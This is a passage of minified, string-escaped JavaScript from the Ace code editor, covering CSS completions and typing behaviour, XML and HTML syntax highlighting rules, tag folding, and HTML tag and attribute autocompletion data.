#777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var 